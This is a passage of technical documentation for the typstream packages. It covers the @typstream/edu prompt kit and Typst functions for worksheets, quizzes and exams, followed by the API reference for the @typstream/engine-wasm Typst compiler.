
edu's Typst sources and `typst.toml`, keyed by their path in the engine under `EDU_ROOT`
(`"@typstream/edu:0.1.0/lib.typ"` and so on). Mount them as a document's files.

### eduPreamble

```ts
const eduPreamble: string; // '#import "@typstream/edu:0.1.0": *\n'
```

Typst to put before a document: imports every public function and template.

### EDU_ROOT and EDU_VERSION

```ts
const EDU_ROOT = "@typstream/edu:0.1.0";
const EDU_VERSION = "0.1.0";
```

`EDU_ROOT` is the package spec edu's files are mounted under. The engine roots paths of the form `@ns/name:x.y.z/path`
at that package, so `#import "@typstream/edu:0.1.0"` reads the mounted files. `EDU_VERSION` is the package's version,
as in its `typst.toml`.

### SHOW_ANSWERS_INPUT

```ts
const SHOW_ANSWERS_INPUT = "showAnswers";
```

The input that shows answers: set it to `"true"` and recompile for a teacher's copy. See [Answers](#answers).

### eduTemplates

```ts
const eduTemplates: TemplateSpec[];
```

The five templates by name (`worksheet`, `quiz`, `exam`, `lesson-plan`, `handout`), each with a title, a description
and a preamble (`#show: worksheet`). They are for apps that let the teacher pick the document type and ask the model
for the body only: `<Typstream template="quiz">`, or `mountTypstream`'s `template` option.

<Callout type="warn">
A document that applies its own template (`#show: worksheet.with(…)`, what the prompt kit asks for by default) must
not also get one of these: the template would apply twice.
</Callout>

### TemplateSpec

A named document setup: page, fonts, header (PLAN §8.3).

| Prop           | Type                                  | Description                                                        |
| -------------- | ------------------------------------- | ------------------------------------------------------------------ |
| `name`         | `string`                              | Unique among templates, e.g. `"worksheet"`.                        |
| `title?`       | `string \| undefined`                 | Human-readable name, e.g. for a template picker: `"Worksheet"`.    |
| `description?` | `string \| undefined`                 | One line on what the template sets up, e.g. for a template picker. |
| `preamble`     | `string`                              | Typst evaluated before the document.                               |
| `inputs?`      | `Record<string, string> \| undefined` | Default `sys.inputs` the template understands.                     |

### eduCatalogue

```ts
const eduCatalogue: FunctionDoc[];
```

One entry per public function and template (23 of them), generated from the `///` doc comments in the package's Typst
sources, so it can't drift from the functions. `buildSystemPrompt` puts it in the prompt, and the
[vocabulary](/docs/reference/edu/vocabulary) page is generated from it.

### FunctionDoc

One Typst function in the prompt catalogue, generated from the package's doc comments.

| Prop          | Type                  | Description                                                            |
| ------------- | --------------------- | ---------------------------------------------------------------------- |
| `name`        | `string`              | The function's name as documents call it, e.g. `question`.             |
| `signature`   | `string`              | E.g. `question(points: int, body: content) -> content`.                |
| `description` | `string`              | What the function does and how to call it: its doc comment's prose.    |
| `example?`    | `string \| undefined` | Typst that calls the function, from the doc comment's `example` block. |

### eduExamples

```ts
const eduExamples: PromptExample[];
```

Whole documents in edu's vocabulary, for few-shot prompts: a chemistry exam, an Arabic quiz, a Bengali worksheet and a
fractions worksheet.

### PromptExample

A few-shot example for the system prompt.

| Prop       | Type                  | Description                                                               |
| ---------- | --------------------- | ------------------------------------------------------------------------- |
| `title?`   | `string \| undefined` | A label for the example (edu uses its file name). Not part of the prompt. |
| `request?` | `string \| undefined` | What the user asked for.                                                  |
| `output`   | `string`              | The Typst the model should write.                                         |

### eduPromptRules

```ts
const eduPromptRules: string[];
```

How to write documents with edu, for the system prompt: start with one template line, never import edu, wrap numbered
questions in `#question`, give every answer to edu rather than as plain text, use `#blank` instead of underscores, and
so on. They come from measuring real models with and without them, and each one targets an error class those runs
produced. Every edu function they call exists and takes the arguments they name.

### buildSystemPrompt

<Callout type="warn" title="Beta">
`buildSystemPrompt`, `SystemPromptOptions` and `typstPromptRules` are `@beta`: their output and shape may change
between releases.
</Callout>

```ts
const buildSystemPrompt: (plugins: readonly TypstreamPlugin[], options?: SystemPromptOptions) => string;
```

Writes the system prompt for documents in the plugins' vocabulary: an introduction, `typstPromptRules`, then each
plugin's rules and function catalogue, then their example documents. It is deterministic for the same plugins, so the
prompt caches. Any plugin with a `prompt` facet contributes, for example `@typstream/universe`'s list of packages the
model may import.

```ts
import { buildSystemPrompt, edu } from "@typstream/edu";
import { universe } from "@typstream/universe";

const system = buildSystemPrompt([edu, universe]); // about 19,000 characters, ~8.4K tokens
const short = buildSystemPrompt([edu, universe], { examples: false });
```

[Prompting](/docs/guides/prompting) covers how to use it with your model.

### SystemPromptOptions

Options for buildSystemPrompt.

| Prop          | Type                             | Description                                           |
| ------------- | -------------------------------- | ----------------------------------------------------- |
| `examples?`   | `boolean \| undefined`           | Include the plugins' few-shot examples. Default true. |
| `typstRules?` | `readonly string[] \| undefined` | Replaces typstPromptRules.                            |

### typstPromptRules

```ts
const typstPromptRules: string[];
```

Beta. Typst habits models get wrong whatever the vocabulary: Markdown syntax, a code fence around the reply, scripts
without a base in math (`m/s$^2$`), multi-letter names in math, bare math as a function argument, and characters that
need escaping. `buildSystemPrompt` puts them first; pass `typstRules` to replace them.

## See also

- [Edu vocabulary](/docs/reference/edu/vocabulary): every function, with live examples.
- [Edu documents](/docs/guides/edu-documents): building a worksheet app.
- [Prompting](/docs/guides/prompting): the prompt kit with your model.
- [Plugins](/docs/concepts/plugins): how plugins plug into the engine, healer and renderer.
- [@typstream/html-compat](/docs/reference/html-compat): layout in the HTML target for the rest of the document.


# Edu vocabulary

> Every function and template in @typstream/edu (@typstream/edu:0.1.0), with its signature, parameters and a live example.

Source: https://typstream.vercel.app/docs/reference/edu/vocabulary

{/* Generated by apps/website/scripts/generate.mjs from @typstream/edu's eduCatalogue. Don't edit: edit the `///` comments in packages/edu/typst/. */}

This page is generated from the doc comments in `@typstream/edu`'s Typst sources: the same text the
[prompt kit](/docs/guides/prompting) gives the model, so the two can't drift apart. Each example below is
compiled live in your browser; tick **Show answers** to see the teacher's copy.

Documents get every name below through the plugin's preamble (`#import "@typstream/edu:0.1.0": *`), so they
call `#question(…)` directly. See [@typstream/edu](/docs/reference/edu) for setup.

## Templates

Applied to the whole document with `#show: name.with(…)`.

### `worksheet`

```typst
worksheet(title: none, subject: none, grade: none, info: ("name", "date", "class"), instructions: none, lang: auto, paper: "a4", points-label: auto, body)
```

A worksheet: title, subject and grade, and lines for the student's name, date and class.
Apply it as the document's first line.

- title (content, str, none): The worksheet's title.
- subject (content, str, none): E.g. "Mathematics".
- grade (content, str, none): E.g. "Grade 5".
- info (array, dictionary, none): Student fields (see `student-info`): names for empty lines, `("name", "date")`, or a dictionary to fill some in, `(name: [Ikram], date: none)`; `none` for none.
- instructions (content, none): Instructions shown under the title.
- lang (str, auto): The document's language, e.g. "ar" or "bn"; sets the text language for the whole document, title included.
- paper (str): Paper size, e.g. "a4" or "us-letter".
- points-label (str, function, auto): Word for points, e.g. "marks"; `auto` is "points" in the document's language.

```typst
#show: worksheet.with(title: [Adding Fractions], subject: [Mathematics], grade: [Grade 5])
```

### `quiz`

```typst
quiz(title: none, subject: none, grade: none, info: ("name", "date", "class"), instructions: none, lang: auto, paper: "a4", points-label: auto, body)
```

A quiz: like a worksheet, with the total of the questions' points under the title.

```typst
#show: quiz.with(title: [The Solar System], subject: [Science], grade: [Grade 4])
```

### `exam`

```typst
exam(title: none, subject: none, grade: none, duration: none, info: ("name", "class", "roll"), instructions: none, lang: auto, paper: "a4", points-label: auto, body)
```

An exam: title, subject, duration and total points, student fields, an instructions box, and
from page 2 a running header with the title and a candidate box.

- duration (content, str, none): E.g. [2 hours].

```typst
#show: exam.with(
  title: [Algebra I Final Examination],
  subject: [Mathematics],
  duration: [2 hours],
  instructions: [Answer *all* questions. Show your working.],
)
```

### `lesson-plan`

```typst
lesson-plan(title: none, subject: none, grade: none, duration: none, date: none, teacher: none, lang: auto, paper: "a4", body)
```

A lesson plan for the teacher: title and a table of subject, grade, duration, date and teacher.
Write objectives with `learning-objectives` and the stages as headings.

```typst
#show: lesson-plan.with(title: [The Water Cycle], subject: [Science], grade: [Grade 6], duration: [45 minutes])
```

### `handout`

```typst
handout(title: none, subtitle: none, subject: none, grade: none, teacher: none, lang: auto, paper: "a4", body)
```

A handout or notes for students: title, subtitle, and a line with the subject, grade and teacher.

```typst
#show: handout.with(title: [Photosynthesis], subtitle: [Key ideas], subject: [Biology])
```

## Questions

Numbered through the document; each keeps its points for the totals.

### `question`

```typst
question(points: none, body)
```

A numbered question. Numbers run through the whole document; points, when given, appear at
the end of the line and count towards the template's total. Put the question's answer space
(`blank`, `answer-lines`, `mcq`, …) inside it. Sub-parts are a numbered list (`+ …`), lettered
`(a)`, `(b)`, ….

- points (int, none): Points the question is worth.

```typst
#question(points: 2)[
  What is $3/4$ of 20?
  #answer-space(height: 3em, answer: [15])
]
```

### `mcq`

```typst
mcq(..options, answer: none, columns: auto)
```

Multiple-choice options, lettered (a), (b), … in the document's language. Give each option as
its own content argument, in brackets, math too: `[$x = 3$]`. `answer` is the correct option's
number, counting from 1, or an array of numbers when several are correct.

- answer (int, array, none): The correct option(s), 1-based.
- columns (int, auto): Options per row. `auto` fits short options on one or two rows.

```typst
#question(points: 1)[
  Which planet is closest to the Sun?
  #mcq([Venus], [Mercury], [Mars], [Earth], answer: 2)
]
#question(points: 1)[
  Solve $x^2 = 9$.
  #mcq([$x = 3$], [$x = 3$ or $x = -3$], [$x = 9$], answer: 2)
]
```

### `true-false`

```typst
true-false(answer: none, body)
```

A statement to mark true or false.

- answer (bool, none): Whether the statement is true.

```typst
#true-false(answer: false)[The Sun orbits the Earth.]
```

### `matching`

```typst
matching(..pairs)
```

Two columns to match: give the correct pairs, each as `(left, right)`. The right column is
shuffled (the same way every time) and the key is worked out from the pairs, so write them
in their natural order, correctly matched.

```typst
#matching(
  ([perro], [dog]),
  ([gato], [cat]),
  ([pájaro], [bird]),
)
```

## Answer spaces

Where students write. Each takes an `answer` that only the teacher's copy shows.

### `blank`

```typst
blank(width: 4em, answer: none)
```

An inline blank to fill in, e.g. in a sentence or after an equals sign. When answers are shown,
the answer is written on it.

- width (length): Width of the line. It grows to fit a shown answer.
- answer (content, none): The expected answer.

```typst
Water boils at #blank(answer: [100]) °C at sea level.
```

### `answer-lines`

```typst
answer-lines(count: 3, spacing: 2em, answer: none)
```

Ruled lines for a written answer of a sentence or more, across the full width.

- count (int): Number of lines.
- spacing (length): Distance between lines.
- answer (content, none): A model answer, written on the lines when answers are shown.

```typst
Explain why the Moon has phases.
#answer-lines(count: 3, answer: [We see different parts of its sunlit half as it orbits Earth.])
```

### `answer-space`

```typst
answer-space(height: 4em, boxed: false, answer: none)
```

Empty space for working, a drawing or a calculation.

- height (length): Height of the space. It grows to fit a shown answer.
- boxed (bool): Draw a frame around the space.
- answer (content, none): A worked answer, written in the space when answers are shown.

```typst
Solve $3x + 4 = 19$. Show your working.
#answer-space(height: 5em, answer: [$3x = 15$, so $x = 5$.])
```

## Answers

Hidden unless `sys.inputs.showAnswers` is `"true"`.

### `answer`

```typst
answer(body)
```

A worked solution or explanation, shown only when answers are shown. Use it for anything a
teacher's copy should add: full solutions, marking notes, expected points.

```typst
#answer[The ratio is $3 : 4$ because both sides divide by 5.]
```

### `answer-key`

```typst
answer-key(title: auto)
```

The answers to every question, by question number, for a key at the end of the document.
Like every answer it appears only when answers are shown, so it is safe in a student's copy.

- title (content, auto): Heading of the key. `auto` is "Answer key" in the document's language.

```typst
#answer-key()
```

## Teaching content

Boxes, lists and tables around the questions.

### `callout`

```typst
callout(kind: "note", title: auto, body)
```

A highlighted box for a note, tip, warning, definition, worked example or something to
remember. Its title defaults to the kind's name in the document's language.

- kind (str): One of "note", "tip", "warning", "definition", "example", "remember".
- title (content, auto, none): The box's title.

```typst
#callout(kind: "definition")[A *prime number* has exactly two factors: 1 and itself.]
```

### `instructions`

```typst
instructions(body)
```

Instructions for students, in a framed box titled "Instructions" in the document's language.

```typst
#instructions[
  - Answer *all* questions.
  - Show your working.
]
```

### `learning-objectives`

```typst
learning-objectives(body)
```

What students will learn, as a titled box. Write the objectives as a list.

```typst
#learning-objectives[
  - Describe the stages of the water cycle.
  - Explain how the Sun drives evaporation.
]
```

### `rubric`

```typst
rubric(..criteria, levels: auto, points: auto)
```

A grading rubric: one row per criterion, one column per level. Give each criterion as
`(name, description for the first level, the next level, …)`.

- levels (array, auto): Level names, best first. `auto`: four levels named in the document's language.
- points (array, auto, none): Points per level. `auto` counts down to 1; `none` hides them.

```typst
#rubric(
  ([Thesis], [Clear and arguable.], [Clear.], [Vague.], [Missing.]),
  ([Evidence], [Strong, cited.], [Relevant.], [Thin.], [None.]),
)
```

### `student-info`

```typst
student-info(..fields)
```

Lines for students to write their name, the date, their class, and so on, or those details
filled in. Known fields are "name", "date", "class", "section", "roll", "score" and "teacher",
labelled in the document's language; any other text is its own label, as written (capitalise
it, in the document's language). A plain field is an empty line; one given as `key: value` has
its value written on the line, and `none` leaves it empty. A label of your own with a value goes
in a dictionary, `("Year": [2026])`, as a template's `info` is. The name field gets the most room.

```typst
#student-info("name", "class", "roll")
#student-info(name: [Ikram Hasan], class: [9B], date: none, ("Year": [2026]))
```

## Drawings

Native Typst shapes; inline SVG with an `aria-label` in HTML.

### `number-line`

```typst
number-line(from: 0, to: 10, step: 1, length: 12cm, labels: auto, points: (), open-points: (), marks: ())
```

A number line with ticks every `step`, numbered, with arrows at both ends. Mark answers or
examples with filled `points` and hollow `open-points` (as in inequalities), and name values
with `marks`.

- from (int, float): Leftmost value.
- to (int, float): Rightmost value.
- step (int, float): Distance between ticks.
- length (length): Length of the line.
- labels (auto, none, array): Which ticks are numbered. `auto` numbers every tick (every 5th or
  10th on long lines); `none` numbers none, for students to fill in; an array lists values,
  or `(value, label)` pairs such as `(0.5, $1/2$)`.
- points (array): Values marked with a filled dot.
- open-points (array): Values marked with a hollow dot.
- marks (array): `(value, label)` pairs written above the line.

```typst
#number-line(from: -5, to: 5, points: (2,), open-points: (-1,), marks: ((2, [A]),))
```

### `graph-paper`

```typst
graph-paper(cols: 30, rows: 10, step: 5mm, major: 5)
```

Squared paper for drawing graphs, shapes or bar charts, with a darker line every `major` squares.

- cols (int): Squares across.
- rows (int): Squares down.
- step (length): Side of a square.
- major (int, none): Darker line every this many squares; `none` for none.

```typst
#graph-paper(cols: 20, rows: 8)
```

### `coordinate-plane`

```typst
coordinate-plane(x: (-5, 5), y: (-5, 5), unit: 7mm, grid: true, labels: true, points: ())
```

A coordinate plane on a square grid, with numbered x and y axes. Plot `points` as `(x, y)` or
`(x, y, label)`.

- x (array): The x range, `(min, max)`.
- y (array): The y range, `(min, max)`.
- unit (length): Size of one unit.
- grid (bool): Draw grid lines.
- labels (bool): Number the axes.
- points (array): Points to plot.

```typst
#coordinate-plane(x: (-4, 4), y: (-3, 3), points: ((1, 2, [A]), (-3, -1, [B])))
```

## Chemistry

An mhchem-like subset written as math, so HTML gets MathML.

### `ce`

```typst
ce(formula)
```

A chemical formula or equation from plain text: digits after an element are subscripts, a
leading number is a coefficient, `^2+` or a trailing `+`/`-` is a charge, `(aq)`, `(s)`,
`(l)`, `(g)` are states, `*` is a hydrate's dot, and `->`, `<=>`, `<-` are arrows. Separate
species, `+` and arrows with spaces. Works in text and in math.

```typst
#ce("2H2 + O2 -> 2H2O") and #ce("CH3COOH <=> CH3COO- + H+"); copper sulfate is #ce("CuSO4*5H2O").
```

## Templates as `template` names

Apps that ask the model for a body only can apply a template themselves: `<Typstream template="quiz">` (or
`mountTypstream`'s `template` option) looks the name up in the plugins' `templates`. A document that writes its own
`#show: quiz.with(…)` must not get one too: it would apply twice.

| Name | Title | What it adds |
| --- | --- | --- |
| `worksheet` | Worksheet | Title, subject and grade, and name, date and class lines. |
| `quiz` | Quiz | A worksheet with the total of the questions' points. |
| `exam` | Exam | Duration and total points, student fields, an instructions box and a running header. |
| `lesson-plan` | Lesson plan | A table of subject, grade, duration, date and teacher; no student fields. |
| `handout` | Handout | Title and subtitle, with no student fields. |


# @typstream/engine-wasm

> Typst 0.15.1 compiled to WebAssembly, the low-level compiler behind typstream, with HTML, changed-page SVG, PDF and UTF-16 diagnostics.

Source: https://typstream.vercel.app/docs/reference/engine-wasm

`@typstream/engine-wasm` is Typst 0.15.1 compiled to WebAssembly. It compiles an in-memory project to HTML, to SVG for
only the pages that changed since the last compile, or to PDF, and returns diagnostics with UTF-16 spans. It is the
compiler behind `@typstream/engine` (in a Web Worker) and `@typstream/node` (on worker threads).

## When to use it

<Callout type="info">
Most apps never use this package directly. `typstream`, `@typstream/react` and `@typstream/dom` run it through
`@typstream/engine`, which adds healing, scheduling, a watchdog, lazy fonts and packages. On the server,
`@typstream/node` runs it for you.
</Callout>

Use it directly when you build your own pipeline around the compiler: a custom worker or engine adapter, a build-time
renderer, or a test harness. It runs synchronously on the thread that calls it, so in a browser call it from a worker,
never the main thread. It has no watchdog: a document that never terminates blocks the thread until you terminate the
worker.

## Install

```npm
npm install @typstream/engine-wasm
```

## Example

```ts title="worker.ts"
import init, { Engine } from "@typstream/engine-wasm";
import { baseFonts } from "@typstream/engine-wasm/fonts";

await init(); // fetches engine_bg.wasm next to engine.js
for (const url of baseFonts) Engine.add_font(new Uint8Array(await (await fetch(url)).arrayBuffer()));

const engine = new Engine();
engine.set_source("/main.typ", "= Hello\nInline math $x^2$.");
const { ok, html, diagnostics } = engine.compile_html();

// Paged preview: only the pages whose content changed.
const { pageCount, changed } = engine.compile_svg_changed(); // changed: { index, hash, width, height, svg, … }[]
```

In Node, or a worker that already has the bytes, initialize synchronously:

```ts
import { readFileSync } from "node:fs";
import { Engine, initSync } from "@typstream/engine-wasm";
import { baseFonts } from "@typstream/engine-wasm/fonts";

initSync({ module: readFileSync(new URL(import.meta.resolve("@typstream/engine-wasm/engine_bg.wasm"))) });
for (const url of baseFonts) Engine.add_font(readFileSync(url));
```

## Initialization

| Export | What it does |
| --- | --- |
| `init(input?)` (default export) | Loads and instantiates the wasm asynchronously. Without an argument it fetches `engine_bg.wasm` next to `engine.js`. Otherwise pass `{ module_or_path }` with a URL, a `Response`, bytes or a `WebAssembly.Module`. Returns a promise. |
| `initSync(input)` | Instantiates synchronously from bytes or a `WebAssembly.Module`: `initSync({ module: bytes })`. |

Call one of them once per thread before creating an `Engine`.

## Engine

`new Engine()` creates an empty project with an empty `/main.typ`. An engine holds source and binary files and
`sys.inputs`; fonts are global to the wasm instance and shared by every engine in it.

### Static methods

| Method | Returns | What it does |
| --- | --- | --- |
| `Engine.add_font(bytes)` | `number` | Adds a font file (TTF, OTF or TTC) for every engine in the instance. Returns its number of faces (a TTC has several). Adding a file again does nothing. |
| `Engine.font_info(bytes)` | `string` | Typst's `FontInfo` for each face of a font file, as JSON, for `register_font`. |
| `Engine.register_font(info)` | `number` | Registers a font file from its info, without its bytes; returns its id. The same info gets the same id. Throws on invalid info. |
| `Engine.load_font(id, bytes)` | `void` | Gives a registered font its bytes. Throws unless they are the file the info came from. Loading a file again does nothing. |
| `Engine.features()` | `string[]` | The optional features in this build: always `"html"`, `"svg"` and `"docx"` (its document model), plus `"pdf"`. |
| `Engine.docx_margin_probe()` | `string` | Typst source a DOCX export appends to the document, which records the page margins for `compile_docx_model`. |
| `Engine.memory_bytes()` | `number` | Wasm linear memory in bytes, shared by all engines in the instance. A high-water mark: it never shrinks. |

### Instance methods

| Method | Returns | What it does |
| --- | --- | --- |
| `set_source(path, text)` | `void` | Sets a source file. `/main.typ` is the entry point. Existing sources are updated incrementally. |
| `set_file(path, bytes)` | `void` | Sets a binary file: images, data, a package's `typst.toml` or wasm plugins. |
| `remove_file(path)` | `void` | Removes a source or binary file. `/main.typ` can't be removed. |
| `set_inputs(inputs)` | `void` | Sets `sys.inputs`. Throws unless every value is a string, as with the CLI's `--input key=value`. |
| `compile_html()` | `HtmlResult` | Compiles with the HTML target. |
| `compile_svg_changed(drawings?)` | `SvgChangedResult` | Compiles paged and exports SVG for the pages whose content changed since the last successful call. With `drawings`, pages come as drawings for a canvas instead, except those it can't draw (gradients, tilings, colour glyphs). |
| `reset_pages()` | `void` | Forgets the page hashes, so the next `compile_svg_changed` sends every page (a new document, or the renderer lost its DOM). |
| `check_paged()` | `CheckResult` | Compiles paged without exporting: diagnostics and the page count, for validation. Leaves the changed-page baseline alone. |
| `compile_pdf()` | `PdfResult` | Compiles paged and exports PDF. |
| `compile_docx_model()` | `DocxModelResult` | Compiles paged and reads the pages into the document model a DOCX export is written from (`@typstream/docx`), with pictures of what Word can't draw. The source should end with `Engine.docx_margin_probe()`, which records the page margins. Free-form content a picture holds (a box with rounded corners, rotated text) is a `docx/fallback` warning. |
| `free()` / `[Symbol.dispose]()` | `void` | Frees the engine's wasm memory for reuse. Fonts and the instance's memory stay. |

Methods that compile never throw for document errors; those come back as diagnostics. Methods that take a path throw
on an invalid one (`invalid virtual path: …`).

## Results

Every compile returns a `CompileResult`, extended per method:

| Type | Fields |
| --- | --- |
| `CompileResult` | `ok: boolean`, `diagnostics: Diagnostic[]`, `ms: number` (time in the call: compile, export and cache eviction), `missingFonts: number[]` (see [Lazy fonts](#lazy-fonts)) |
| `HtmlResult` | `CompileResult` and `html?: string`, the document when `ok` |
| `SvgChangedResult` | `CompileResult` and `pageCount?: number`, `changed?: ChangedPage[]`, `islands?: IslandMarker[]`, `compileMs: number`, `exportMs: number` |
| `CheckResult` | `CompileResult` and `pageCount?: number` |
| `PdfResult` | `CompileResult` and `pdf?: Uint8Array`, `pageCount?: number` |
| `DocxModelResult` | `CompileResult` and `model?: string` (the document model as JSON), `fonts?: Uint8Array[]` (the data of the faces it names), `pictures?: DocxPictureData[]` (the pictures it refers to), `pageCount?: number` |
| `DocxPictureData` | `svg: string` (the picture as typst-svg writes a page), `png: Uint8Array` (at 300 DPI): what Word draws, and what older Word and other apps draw instead |

**Changed pages.** `changed` holds only the pages whose content changed since the last successful call (all of them
after `reset_pages`); indices refer to the new document, and pages at or past `pageCount` are gone. A failed compile
keeps the previous pages as the baseline, so the next success diffs against what is on screen.

| `ChangedPage` field | Type | Meaning |
| --- | --- | --- |
| `index` | `number` | Page index, from 0. |
| `hash` | `string` | 32 hex digits identifying the page's content: equal hashes mean identical pages. |
| `width`, `height` | `number` | Page size in Typst points. |
| `svg` | `string` | The page as SVG. Glyphs are paths. Empty when the page comes as a `drawing`. |
| `drawing` | `PageDrawing?` | With `drawings`: the page as drawing operations for a canvas, what `@typstream/dom`'s paged view paints. `ops` (little-endian 32-bit floats, the format in `src/draw.rs`), `strings` they name, `glyphs` (`[key, path]`: outlines in font units, one key one outline on every page), `links` (`PageLink`: URL and box in points). |
| `text` | `TextRun[]` | The page's text runs as Typst laid them out, for a selectable text layer. |
| `structure` | `TextNode[]` | Structure elements around the runs (headings, lists, tables), for accessibility. |
| `lang` | `string` | The document's language as typst-html writes it (`ar`, `zh-CN`). |
| `dir` | `"ltr" \| "rtl"` | The document's direction. |

Frame hashes include source spans, so the same text parsed afresh or reparsed incrementally can hash differently.
Compare SVGs (or drawings), not hashes, to check that two separate compiles look the same.

A drawing costs less to export than SVG (a dense page: 3.5 ms against 10.7 ms, text runs included) and is about a third
of its size.

**Island markers.** `islands` lists every `metadata` labelled `<typstream-island>` in the laid-out document, whichever
pages changed: the markers [render islands](/docs/guides/islands) are mounted over. Positions come from layout, however
pages are drawn.

| `IslandMarker` field | Type | Meaning |
| --- | --- | --- |
| `page` | `number` | Page index, from 0. |
| `x`, `y` | `number` | The marker's point, in points from the page's top left. |
| `value` | `string` | The marker's value as JSON, without its `source`. |
| `from` | `number \| null` | UTF-16 offset in `/main.typ` of the value's `source`, content the document wrote; `null` without one. |

| `TextRun` field | Type | Meaning |
| --- | --- | --- |
| `text` | `string` | The run's text. |
| `x`, `y` | `number` | Start of the baseline, in points from the page's top left. |
| `size` | `number` | Font size. |
| `width` | `number` | The run's advance. |
| `matrix` | `[a, b, c, d]?` | An SVG matrix (translation in `x`/`y`), set only when the text is rotated, skewed or scaled. |
| `lang`, `dir` | `string?`, `"ltr" \| "rtl"?` | Set only when they differ from the page's. |

| `TextNode` field | Type | Meaning |
| --- | --- | --- |
| `role` | `"heading" \| "list" \| "listitem" \| "table" \| "row" \| "cell" \| "columnheader"` | An ARIA role. |
| `level` | `number?` | A heading's `aria-level`: Typst's level + 1 (as typst-html's `<h2>` for `=`); the document's title is 1. |
| `from`, `to` | `number` | The range of the page's runs it covers (empty for an empty cell). |
| `children` | `TextNode[]?` | Nested elements. Rows group a table's cells by row. |

## Diagnostics

A `Diagnostic` has the shape of `@typstream/core`'s, with `/main.typ` as the document:

```ts
type Diagnostic = {
  severity: "error" | "warning";
  span: Range | null; // { from, to } in UTF-16 code units of /main.typ
  message: string;
  hints: string[];
  trace: TraceItem[]; // { message, span: Range | null }, innermost first
  file?: { path: string; span: Range | null };
  source: "typst";
};
```

Spans are **UTF-16 code units**, so `source.slice(span.from, span.to)` is the offending text. For a problem in another
file, `span` is the nearest call site in `/main.typ` (or `null`) and `file` holds the original location. `trace` lists
the calls, show rules and imports the error came through, innermost first; each item has a span only where it is in
`/main.typ`. The warning Typst emits on every HTML compile ("html export is under active development") is dropped.

```ts
engine.set_source("/main.typ", "= Hello\nInline math $x^2$. #hilight[x]");
engine.compile_html().diagnostics;
// [{ severity: "error", message: "unknown variable: hilight", span: { from: 28, to: 35 }, hints: [], trace: [], source: "typst" }]
```

If you prepend a preamble to `/main.typ`, shift spans back by its length yourself.

## Paths and packages

Paths are virtual and absolute: `/main.typ`, `/img/a.png`, `/data/scores.csv`. A document can read only what you set on
the engine.

A path that starts with a package spec is a file of that package, rooted at it: `@preview/cetz:0.5.3/src/lib.typ` is
`src/lib.typ` inside `@preview/cetz:0.5.3`. Mount a package's files (including its `typst.toml`) that way, and
`#import "@preview/cetz:0.5.3"` reads its manifest and entry point. A package with nothing mounted is "package not
found". The engine never fetches packages itself; `@typstream/engine`'s worker fetches, checks and mounts allowed ones,
and `@typstream/edu` mounts itself the same way under `@typstream/edu:0.1.0`.

```ts
for (const [path, text] of Object.entries(eduFiles)) engine.set_source(path, text); // "@typstream/edu:0.1.0/lib.typ", …
engine.set_source("/main.typ", `${eduPreamble}#question(points: 1)[Hi]`);
```

## Lazy fonts

Scripts the base fonts don't cover have **script fonts**, registered without their bytes and downloaded the first time
a document uses them: Noto Naskh Arabic, Noto Serif Bengali and Noto Serif Devanagari, regular and bold (47–79 KB
brotli each). Libertinus Serif already covers Latin, Greek, Cyrillic and Hebrew.

```ts
import { scriptFonts } from "@typstream/engine-wasm/fonts";

const ids = scriptFonts.map((font) => Engine.register_font(font.info)); // in the font book, no bytes yet
const r = engine.compile_svg_changed(); // r.missingFonts: ids of registered fonts this compile wanted
for (const id of r.missingFonts) {
  const font = scriptFonts[ids.indexOf(id)];
  Engine.load_font(id, new Uint8Array(await (await fetch(font.url)).arrayBuffer()));
}
engine.compile_svg_changed(); // now with them
```

Typst selects a registered face by family or for fallback (the first font covering the text) exactly as if it were
loaded. Without its bytes, the compile records the miss and Typst moves on to the next family or draws tofu, so the
compile still succeeds. Every compile lists `missingFonts`, cached compiles included. In the HTML target the browser
draws the text, so only drawn content (`html.frame`) needs fonts. `@typstream/engine` does all this for you in its
worker and recompiles once a font arrives.

To register other fonts lazily (CJK, say), compute their info once with `Engine.font_info(bytes)` and ship it with the
font's URL. See [Fonts and languages](/docs/guides/fonts-and-languages).

## Fonts subpath

`@typstream/engine-wasm/fonts` lists the fonts that ship in the package. Each URL is written as
`new URL("./fonts/…", import.meta.url)`, so bundlers emit the files as assets.

| Export | Type | What it is |
| --- | --- | --- |
| `baseFonts` | `URL[]` | The base set: Libertinus Serif (regular, bold, italic), New Computer Modern Math (Book, the face Typst sets math in) and DejaVu Sans Mono, 3.8 MB (1.4 MB brotli). Add them with `Engine.add_font`. |
| `extraFonts` | `LazyFont[]` | The rest of Typst's bundled faces (Libertinus Serif bold italic and semibold, New Computer Modern text, its math font's regular and bold, DejaVu Sans Mono bold and oblique), to register lazily. With `baseFonts`, every face native `typst` embeds, so an engine that registers both picks the faces it picks. All have TrueType outlines (converted from typst-assets' CFF ones). |
| `scriptFonts` | `ScriptFont[]` | The script fonts above, to register lazily. A `ScriptFont` is a `LazyFont` with the `scripts` it is for. |

| `LazyFont` / `ScriptFont` field | Type | Meaning |
| --- | --- | --- |
| `url` | `URL` | Where the file is. |
| `file` | `string` | The file's name in `dist/fonts/`, e.g. to serve the fonts from another origin. |
| `family` | `string` | Font family. |
| `scripts` | `string[]` | ISO 15924 codes of the scripts it is for, e.g. `["Beng"]`. |
| `info` | `string` | `Engine.font_info` of the file, computed at build time: pass it to `Engine.register_font`. |

## Wasm subpath

`@typstream/engine-wasm/wasm` exports `wasmUrl`, the `URL` of `engine_bg.wasm`, written as
`new URL("./engine_bg.wasm", import.meta.url)` so bundlers emit it as an asset. Fetch and compile it yourself to reuse
the `WebAssembly.Module` (initialization takes one as `module_or_path`), as `@typstream/engine`'s worker does.

The package also exports `./engine_bg.wasm` and `./fonts/*` as files, for loaders that need their paths. Font licenses
are in `dist/fonts/NOTICE` and `dist/fonts/LICENSE-Noto.txt`.

## Things to know

- **Every compile evicts Typst's memoization cache** (`comemo::evict(2)`). Without it the cache would grow by about
  4 MiB per compile; with it, memory stays flat over hundreds of streaming compiles.
- **Fonts, the memoization cache and memory are global to the wasm instance**, shared by every `Engine` in it. Wasm
  memory never shrinks: watch `Engine.memory_bytes()` and recycle the worker to give it back. `@typstream/engine` does
  this for you.
- **No network or filesystem.** A document can read only the files, packages and fonts you set on the engine.
- `datetime.today()` is the local date, as in the Typst CLI.
- PDF export is in the build, so an export reuses the preview's warm compile instead of loading a second engine.
- The wasm is about 6 MB with brotli compression. Serve it with compression and a long cache lifetime; see
  [Self-hosting](/docs/guides/self-hosting).

## See also

- [The engine](/docs/concepts/engine): how `@typstream/engine` runs this in a worker.
- [@typstream/engine](/docs/reference/engine): the client and worker built on it.
- [@typstream/node](/docs/reference/node): the same compiler on Node's worker threads.
- [Fonts and languages](/docs/guides/fonts-and-languages): base fonts, script fonts, your own fonts.
